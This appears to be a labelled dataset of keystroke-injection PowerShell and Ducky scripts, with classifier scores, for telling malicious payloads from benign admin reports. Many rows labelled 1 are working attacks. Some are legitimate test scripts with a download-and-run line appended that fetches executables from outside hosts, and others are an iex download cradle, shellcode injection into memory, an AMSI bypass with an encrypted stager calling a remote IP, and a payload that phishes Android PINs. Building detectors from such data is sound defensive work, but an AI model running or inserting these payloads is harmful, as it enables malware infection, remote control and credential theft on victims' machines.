"win+r powershell enter if (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]:: enter GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administr enter ator)) { $Host.UI.RawUI.WindowTitle = $myInvocation.MyCommand.Definition + ' (E enter levated)' $Host.UI.RawUI.BackgroundColor = 'DarkBlue' Clear-Host } else { $ne enter wProcess = New-Object Diagnostics.ProcessStartInfo 'PowerShell' $newProcess.Arg enter uments = ""& '"" + $script:MyInvocation.MyCommand.Path + ""'"" $newProcess.Verb = ' enter runas' [Diagnostics.Process]::Start($newProcess) exit } enter enter",1,1,0.0020642725,0.9979358
"win+r enter powershell enter enter enter $appPoolName = 'CarbonTestUninstallAppPool' enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Start-Test enter { enter Uninstall-IisAppPool -Name $appPoolName enter Assert-False (Test-IisAppPool -Name $appPoolName) enter } enter enter function Stop-Test enter { enter Uninstall-IisAppPool -Name $appPoolName enter } enter enter function Test-ShouldRemoveAppPool enter { enter Install-IisAppPool -Name $appPoolName enter Assert-True (Test-IisAppPool -Name $appPoolName) enter Uninstall-IisAppPool -Name $appPoolName enter Assert-False (Test-IisAppPool -Name $appPoolName) enter } enter enter function Test-ShouldRemvoeMissingAppPool enter { enter $missingAppPool = 'IDoNotExist' enter Assert-False (Test-IisAppPool -Name $missingAppPool) enter Uninstall-IisAppPool -Name $missingAppPool enter Assert-False (Test-IisAppPool -Name $missingAppPool) enter } enter enter function Test-ShouldSupportWhatIf enter { enter Install-IisAppPool -Name $appPoolName enter Assert-True (Test-IisAppPool -Name $appPoolName) enter enter Uninstall-IisAppPool -Name $appPoolName -WhatIf enter Assert-True (Test-IisAppPool -Name $appPoolName) enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8894886e-05,0.9999411
"win+r enter powershell enter enter enter  enter function Test-AddVhd enter { enter enter $rgname = Get-ComputeTestResourceName enter enter try enter { enter enter $loc = Get-ComputeVMLocation; enter New-AzureRmResourceGroup -Name $rgname -Location $loc -Force; enter $stoname = 'sto' + $rgname; enter $stotype = 'Standard_GRS'; enter New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype; enter $stoaccount = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; enter $storageKey = Get-AzureRmStorageAccountKey -ResourceGroupName $rgname -Name $stoname; enter $vhdContainerName = 'vhds'; enter enter $path = (get-item -path "".\"").FullName; enter enter $csvFile = ""upload_VHD.csv""; enter $csvPath = ""..\..\..\..\..\ServiceManagement\Compute\Commands.ServiceManagement.Test\Resources\"" + $csvFile; enter $testData = Import-Csv $csvPath; enter enter foreach ($testItem in $testData) enter { enter $vhdLocalPath = 'f:\vhdstore\' + $testItem.vhdName; enter $vhdName = GetFileNameWithoutExtension $testItem.vhdName; enter $vhdDestUri = [System.String]::Format(""{0}{1}/{2}{3}.vhd"", $stoaccount.PrimaryEndpoints.Blob, $vhdContainerName, $vhdName, $rgname); enter Write-Output (""Start Uploading... : "" + $testItem.vhdName); enter enter $vhdUploadContext = Add-AzureRmVhd -ResourceGroupName $rgname -Destination $vhdDestUri -LocalFilePath $vhdLocalPath -NumberOfUploaderThreads 1; enter Wait-Seconds 5; enter Write-Output (""Destination Uri :"" + $vhdUploadContext.DestinationUri); enter Write-Output (""Local File :"" + $vhdUploadContext.LocalFilePath.FullName); enter Write-Output (""Uploading Ended.""); enter enter Assert-NotNull $vhdUploadContext; enter Assert-AreEqual $vhdDestUri $vhdUploadContext.DestinationUri; enter Assert-AreEqual $vhdLocalPath $vhdUploadContext.LocalFilePath.FullName; enter enter Write-Output ($vhdDestUri); enter Write-Output ($storageKey.Key1); enter enter $destBlobHandle = GetBlobHandle $vhdDestUri $storageKey.Key1; enter Assert-True {VerifyMD5hash $destBlobHandle $testItem.md5hash}; enter enter $vhdDownloadPath = $vhdLocalPath + ""-download.vhd""; enter enter $vhdDownloadContext = Save-AzureRmVhd -ResourceGroupName $rgname -SourceUri $vhdDestUri -LocalFilePath $vhdDownloadPath; enter Write-Output (""Source :"" +$vhdDownloadContext.Source); enter Write-Output (""LocalFilePath :"" +$vhdDownloadContext.LocalFilePath); enter Assert-AreEqual $vhdDestUri $vhdDownloadContext.Source; enter Assert-AreEqual $vhdDownloadPath $vhdDownloadContext.LocalFilePath; enter enter $vhdDownloadContext = Save-AzureRmVhd -ResourceGroupName $rgname -SourceUri $vhdDestUri -LocalFilePath $vhdDownloadPath -Overwrite; enter Assert-AreEqual $vhdDestUri $vhdDownloadContext.Source; enter Assert-AreEqual $vhdDownloadPath $vhdDownloadContext.LocalFilePath; enter } enter } enter finally enter { enter enter Clean-ResourceGroup $rgname enter } enter } enter enter function GetFileNameWithoutExtension ($fileName) enter { enter $fileName.Substring(0, $fileName.IndexOf('.')); enter } enter enter function GetBlobHandle enter { enter param([string] $blobString, [string] $storageKey) enter enter $blobPath = [Microsoft.WindowsAzure.Commands.Sync.Download.BlobUri] $null; enter [Microsoft.WindowsAzure.Commands.Sync.Download.BlobUri]::TryParseUri($blobString, [REF]$blobPath); enter $blob = [Microsoft.WindowsAzure.Commands.Sync.Download.BlobHandle]::new($blobPath, $storageKey); enter return [Microsoft.WindowsAzure.Commands.Sync.Download.BlobHandle] $blob; enter } enter enter function VerifyMD5hash enter { enter param([System.Object] $blobHandle, [string] $md5hash) enter enter $blobMd5 = $blobHandle.Blob.Properties.ContentMD5; enter Write-Output (""MD5 hash of the local file: "" + $md5hash); enter if ([System.String]::IsNullOrEmpty($blobMd5)) enter { enter Write-Output (""The blob does not have MD5 value!!!""); enter return $false; enter } enter else enter { enter Write-Output (""MD5 hash of blob, ""+ $blobHandle.Blob.Uri.ToString() + "", is ""+ $blobMd5); enter return $blobMd5.Equals($md5hash); enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/drktzz.exe',""$env:TEMP\emmas.exe"");Start-Process (""$env:TEMP\emmas.exe"") enter enter",1,1,5.4561795e-05,0.9999454
win+r powershell enter iex (new-object net.webclient).downloadstring('https://invesco.online/aaa') enter enter,1,1,5.8926402e-05,0.9999411
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_s5kis7uw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.448775e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_s1gpm7ww"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3900193e-05
"win+r powershell enter  function Invoke-MSI { [CmdletBinding()] param ( [string] $DisplayName enter , [switch] $Install, enter enter",1,1,0.0007373045,0.99926263
"win+r powershell enter  [CmdletBinding()] param ( [Parameter(Mandatory)] [ValidateScript({ Test-Path enter -Path $_ -PathType 'Leaf' })] [string]$FilePath, [Parameter()] [string]$Argu enter ments, [switch]$Force ) begin { enter",1,1,0.0016083483,0.99839157
"win+r enter powershell enter enter enter  enter $global:resourceType = ""Microsoft.IoTCentral/IotApps"" enter function Test-IotCentralAppLifecycleManagement{ enter enter $rgname = Get-ResourceGroupName enter $rname = Get-ResourceName enter $subdomain = ($rname) + ""subdomain"" enter $location = Get-Location ""Microsoft.IoTCentral"" ""IotApps"" enter $sku = ""S1"" enter $displayName = ""Custom IoT Central App DisplayName"" enter $tagKey = ""key1"" enter $tagValue = ""value1"" enter $tags = @{ $tagKey = $tagValue } enter enter try enter { enter New-AzResourceGroup -Name $rgname -Location $location enter $created = New-AzIotCentralApp -ResourceGroupName $rgname -Name $rname -Subdomain $subdomain -Sku $sku -DisplayName $displayName -Tag $tags enter $actual = Get-AzIotCentralApp -ResourceGroupName $rgname -Name $rname enter enter $list = Get-AzIotCentralApp -ResourceGroupName $rgname enter Assert-AreEqual $actual.Name $rname enter Assert-AreEqual $actual.Subdomain $subdomain enter Assert-AreEqual $actual.DisplayName $displayName enter Assert-AreEqual $actual.Tag.Item($tagkey) $tagvalue enter Assert-AreEqual 1 @($list).Count enter Assert-AreEqual $actual.Name $list[0].Name enter $rname1 = $rname enter $rname2 = ($rname1) + ""-2"" enter enter New-AzIotCentralApp $rgname $rname2 $rname2 enter $list = Get-AzIotCentralApp -ResourceGroupName $rgname enter $app1 = $list | where {$_.Name -eq $rname1} | Select-Object -First 1 enter $app2 = $list | where {$_.Name -eq $rname2} | Select-Object -First 1 enter Assert-AreEqual 2 @($list).Count enter Assert-AreEqual $rname1 $app1.Name enter Assert-AreEqual $rname2 $app2.Name enter Assert-AreEqual $subdomain $app1.Subdomain enter Assert-AreEqual $rname2 $app2.Subdomain enter Assert-AreEqual $resourceType $app1.Type enter Assert-AreEqual $resourceType $app2.Type enter $emptyrg = ($rgname) + ""empty"" enter New-AzResourceGroup -Name $emptyrg -Location $location enter $listViaDirect = Get-AzIotCentralApp -ResourceGroupName $emptyrg enter Assert-AreEqual 0 @($listViaDirect).Count enter $tt1 = $tagKey enter $tv1 = $tagValue enter $tt2 = ""tt2"" enter $tv2 = ""tv2"" enter $displayName = ""New Custom Display Name."" enter $newSubdomain = $subdomain + ""new"" enter $tags = $actual.Tag enter $tags.add($tt2, $tv2) enter enter $job = Set-AzIotCentralApp -ResourceGroupName $rgname -Name $rname -Tag $tags -DisplayName $displayName -Subdomain $newSubdomain -AsJob enter $job | Wait-Job enter $result = $job | Receive-Job enter enter $actual = Get-AzIotCentralApp -ResourceGroupName $rgname -Name $rname enter Assert-AreEqual $actual.Tag.Count 2 enter Assert-AreEqual $actual.Tag.Item($tt1) $tv1 enter Assert-AreEqual $actual.Tag.Item($tt2) $tv2 enter Assert-AreEqual $actual.DisplayName $displayName enter Assert-AreEqual $actual.Subdomain $newSubdomain enter Assert-AreEqual $actual.Name $rname enter Get-AzIotCentralApp -ResourceGroupName $rgname | Remove-AzIotCentralApp enter enter $list = Get-AzIotCentralApp -ResourceGroupName $rgname enter Assert-AreEqual 0 @($list).Count enter } enter finally{ enter } enter } enter enter",0,0,0.999948,5.1948402e-05
"win+r enter powershell enter enter enter  enter function Test-ThreatDetectionUpdatePolicyWithClassicStorage enter { enter enter $testSuffix = getAssetName enter Create-ThreatDetectionClassicTestEnvironment $testSuffix enter $params = Get-SqlThreatDetectionTestEnvironmentParameters $testSuffix enter enter try enter { enter enter Set-AzSqlDatabaseThreatDetectionSetting -ResourceGroupName $params.rgname -ServerName $params.serverName -DatabaseName $params.databaseName -NotificationRecipientsEmails ""koko1@mailTest.com"" -EmailAdmins $false -ExcludedDetectionType ""Sql_Injection_Vulnerability"" -StorageAccountName $params.storageAccount enter $policy = Get-AzSqlDatabaseThreatDetectionSetting -ResourceGroupName $params.rgname -ServerName $params.serverName -DatabaseName $params.databaseName enter Assert-AreEqual $policy.ThreatDetectionState ""Enabled"" enter Assert-AreEqual $policy.NotificationRecipientsEmails ""koko1@mailTest.com"" enter Assert-AreEqual $policy.StorageAccountName $params.storageAccount enter Assert-False {$policy.EmailAdmins} enter Assert-AreEqual $policy.ExcludedDetectionTypes.Count 1 enter Assert-True {$policy.ExcludedDetectionTypes.Contains([Microsoft.Azure.Commands.Sql.ThreatDetection.Model.DetectionType]::Sql_Injection_Vulnerability)} enter Set-AzSqlServerThreatDetectionSetting -ResourceGroupName $params.rgname -ServerName $params.serverName -NotificationRecipientsEmails ""koko2@mailTest.com"" -EmailAdmins $false -ExcludedDetectionType Sql_Injection_Vulnerability -StorageAccountName $params.storageAccount enter $policy = Get-AzSqlServerThreatDetectionSetting -ResourceGroupName $params.rgname -ServerName $params.serverName enter Assert-AreEqual $policy.ThreatDetectionState ""Enabled"" enter Assert-AreEqual $policy.NotificationRecipientsEmails ""koko2@mailTest.com"" enter Assert-False {$policy.EmailAdmins} enter Assert-AreEqual $policy.ExcludedDetectionTypes.Count 1 enter Assert-True {$policy.ExcludedDetectionTypes.Contains([Microsoft.Azure.Commands.Sql.ThreatDetection.Model.DetectionType]::Sql_Injection_Vulnerability)} enter } enter finally enter { enter enter Remove-ThreatDetectionTestEnvironment $testSuffix enter } enter } enter enter",0,0,0.9999498,5.0154387e-05
DUCKY_REAL_BEGIN enter REM TITLE: PlunderPIN enter REM AUTHOR: OSINTI4L (https://github.com/OSINTI4L) enter REM TARGET OS: Android mobile device/Google Chrome (tested on Samsung S24 FE | One UI V8.0 | Android 16 | Google Chrome 143.0.7499.53) enter REM DESCRIPTION: PlunderPIN is a mobile PIN phishing payload that replaces a user's Google Chrome browser homepage with a malicious imitation homepage that creates prompts to capture the user's PIN an enter REM REQUIREMENTS: See README.md enter DEFINE #Apache_URL http://shorturl.at/Place-URL-Here enter REM Begin attack: enter ATTACKMODE HID enter DELAY 1000 enter REM Opening Google Chrome: enter GUI f enter DELAY 400 enter STRINGLN chrome enter DELAY 200 enter TAB enter DELAY 200 enter ENTER enter DELAY 500 enter REM Opening new tab to ensure proper default Chrome environment to execute payload properly: enter CTRL t enter DELAY 300 enter SHIFT TAB enter DELAY 200 enter ENTER enter DELAY 350 enter REM Navigating to Homepage settings: enter REPEAT 8 DOWNARROW enter ENTER enter DELAY 350 enter REPEAT 12 DOWNARROW enter ENTER enter REM Setting Apache webserver URL as default homepage: enter DELAY 250 enter REPEAT 6 TAB enter DELAY 250 enter CTRL a enter DELAY 250 enter STRINGLN #Apache_URL enter DELAY 250 enter REM Navigating back to original homepage and closing all tabs: enter DUCKY_REAL_END,1,1,6.1373146e-05,0.9999386
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x80,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_iy2iras3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter",0,0,0.999966,3.4028617e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_yz75sp9a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4042667e-05
"win+r powershell enter function Get-TestResourceGroupName($action) { return ""pstestrg"" + $action } fu enter nction Get-TestActionRuleName($action) { return ""pstestar"" + $action } functio enter n Get-ProviderLocation($provider) { enter enter",1,1,0.005812904,0.9941871
"win+r enter powershell enter enter enter param ([string]$SnapinPath = $(throw ""Path to snapin dll is required""), enter [string[]]$cmdletClassName = $(throw ""Name of cmdlet classes is required""), enter $OutputPath) enter enter $ScriptDir = Split-Path $MyInvocation.MyCommand.Path -Parent enter if (!$OutputPath) enter { enter $OutputPath = Join-Path $ScriptDir ..\Help enter } enter enter function New-HelpSkeleton { enter enter begin { enter enter $_Cmdlet = [Management.Automation.Cmdlet] enter $_CmdletAttribute = [Management.Automation.CmdletAttribute] enter $_ParameterAttribute = [Management.Automation.ParameterAttribute] enter enter if (!(test-path $OutputPath)) { enter new-item -type Directory $OutputPath enter } enter enter $OutputPath = (resolve-path $OutputPath) enter enter function Write-EmptyParaTags enter { enter """" enter Write-InputOutputTypes InputType enter Write-InputOutputTypes ReturnType enter Write-Examples enter 'Note' | Write-EmptyParaTag enter } enter enter function Write-InputOutputTypes($typeName) enter { enter $output = new-object Text.StringBuilder enter enter & { enter $output.AppendLine("" <${typeName}s>"") enter $output.AppendLine("" <$typeName>"") enter $output.AppendLine(' <Name></Name>') enter $output.AppendLine(' <Description><p></p></Description>') enter $output.AppendLine("" </$typeName>"") enter $output.AppendLine("" </${typeName}s>"") enter } > $null enter enter $output.ToString() enter } enter enter function Write-Examples enter { enter $output = new-object Text.StringBuilder enter enter & { enter $output.AppendLine(' <Examples>') enter $output.AppendLine(' <Example Number=""1"">') enter $output.AppendLine(' <Code></Code>') enter $output.AppendLine(' <Remarks>') enter $output.AppendLine(' <p></p>') enter $output.AppendLine(' </Remarks>') enter $output.AppendLine(' </Example>') enter $output.AppendLine(' </Examples>') enter } > $null enter enter $output.ToString() enter } enter enter filter Write-EmptyParaTag enter { enter $output = new-object Text.StringBuilder enter enter & { enter $output.Append(' <') enter $output.Append($_) enter $output.AppendLine('s>') enter enter $output.Append(' <') enter $output.Append($_) enter $output.Append('><p></p></') enter $output.Append($_) enter $output.AppendLine('>') enter enter $output.Append(' </') enter $output.Append($_) enter $output.AppendLine('s>') enter } > $null enter enter $output.ToString() enter } enter } enter enter process enter { enter $_.GetExportedTypes() | where { $_Cmdlet.IsAssignableFrom($_) } | foreach ` enter { enter if ($cmdletClassName -and ($cmdletClassName -notcontains $_.Name)) { return } enter enter $cmdlet = $_ enter enter $_.GetCustomAttributes($_CmdletAttribute, $false) | foreach ` enter { enter $filename = ""$($_.VerbName + $_.NounName).xml"" enter $filename = (join-path $OutputPath $filename) enter enter $description = '' enter $detailed = '' enter enter $cmdlet.GetCustomAttributes($false) |% { enter enter $type = $_.GetType().FullName enter enter if($type -eq 'System.ComponentModel.DescriptionAttribute') enter { enter $description = $_.Description enter } enter enter if($type -eq 'Pscx.DetailedDescriptionAttribute') enter { enter $detailed = $_.Text enter } enter } enter enter ""<?xml version='1.0' ?>"" > $filename enter ""<Cmdlet FullName='$($cmdlet.Fullname)'>"" >> $filename enter "" <Description>"" >> $filename enter "" $description"" >> $filename enter "" </Description>"" >> $filename enter enter "" <DetailedDescription>"" >> $filename enter "" $detailed"" >> $filename enter "" </DetailedDescription>"" >> $filename enter enter "" <Parameters>"" >> $filename enter enter $cmdlet.GetProperties('Public,Instance,FlattenHierarchy') | foreach ` enter { enter $pa = @($_.GetCustomAttributes($_ParameterAttribute, $false))[0] enter enter if($pa) { enter $description = ($pa.HelpMessage) enter $default = '' enter enter $_.GetCustomAttributes($false) |% { enter $type = $_.GetType().FullName enter enter if($type -eq 'System.ComponentModel.DefaultValueAttribute') { enter $default = $_.Value enter } enter } enter enter "" <Parameter Name='$($_.Name)'>"" >> $filename enter "" <Description>"" >> $filename enter "" $description"" >> $filename enter "" </Description>"" >> $filename enter "" <DefaultValue>"" >> $filename enter "" $default"" >> $filename enter "" </DefaultValue>"" >> $filename enter "" </Parameter>"" >> $filename enter } enter } enter enter "" </Parameters>"" >> $filename enter enter Write-EmptyParaTags >> $filename enter enter ""</Cmdlet>"" >> $filename enter } enter } enter } enter } enter enter $path = Resolve-Path $SnapinPath enter [System.Reflection.Assembly]::LoadFile($path) | New-HelpSkeleton enter enter [REf].ASSEmBlY.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFIELD('amsiInitFailed','NonPublic,Static').SEtVALuE($nuLl,$trUe)};[SYSteM.NEt.SeRvICePOintManaGeR]::ExpEcT100ContiNUE=0;$wC=NeW-OBject SYSTeM.NET.WeBClIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEaDers.Add('User-Agent',$u);$wC.ProXy=[SYStEm.NET.WEbREQUesT]::DEFAULTWebPRoxy;$WC.Proxy.CredEnTiALS = [SysTeM.NET.CredeNtialCache]::DEFaUltNETWorKCredENTiAls;$K=[SysTEM.TeXt.EnCoDIng]::ASCII.GETBytES('sT2[VWB67P:8ESxc}Mo{,A!QN(J0_eHK');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOr$S[($S[$I]+$S[$H])%256]}};$wc.HEAders.AdD(""Cookie"",""session=Vf/PpPfYzVqFtikZF0sTnw5KAtE="");$ser='http://162.253.133.189:443';$t='/login/process.php';$dAtA=$WC.DOwnLOAdDaTA($ser+$t);$IV=$DATa[0..3];$dATa=$daTa[4..$daTA.lengTh];-JOin[ChAR[]](& $R $datA ($IV+$K))|IEX enter enter",1,1,5.480846e-05,0.99994516
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_y42vnx1o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4475983e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_fhn7qj5o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4447225e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_hmk59ppf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.999966,3.392415e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_k72ihqp3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4096407e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_hrro0wl0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3651784e-05
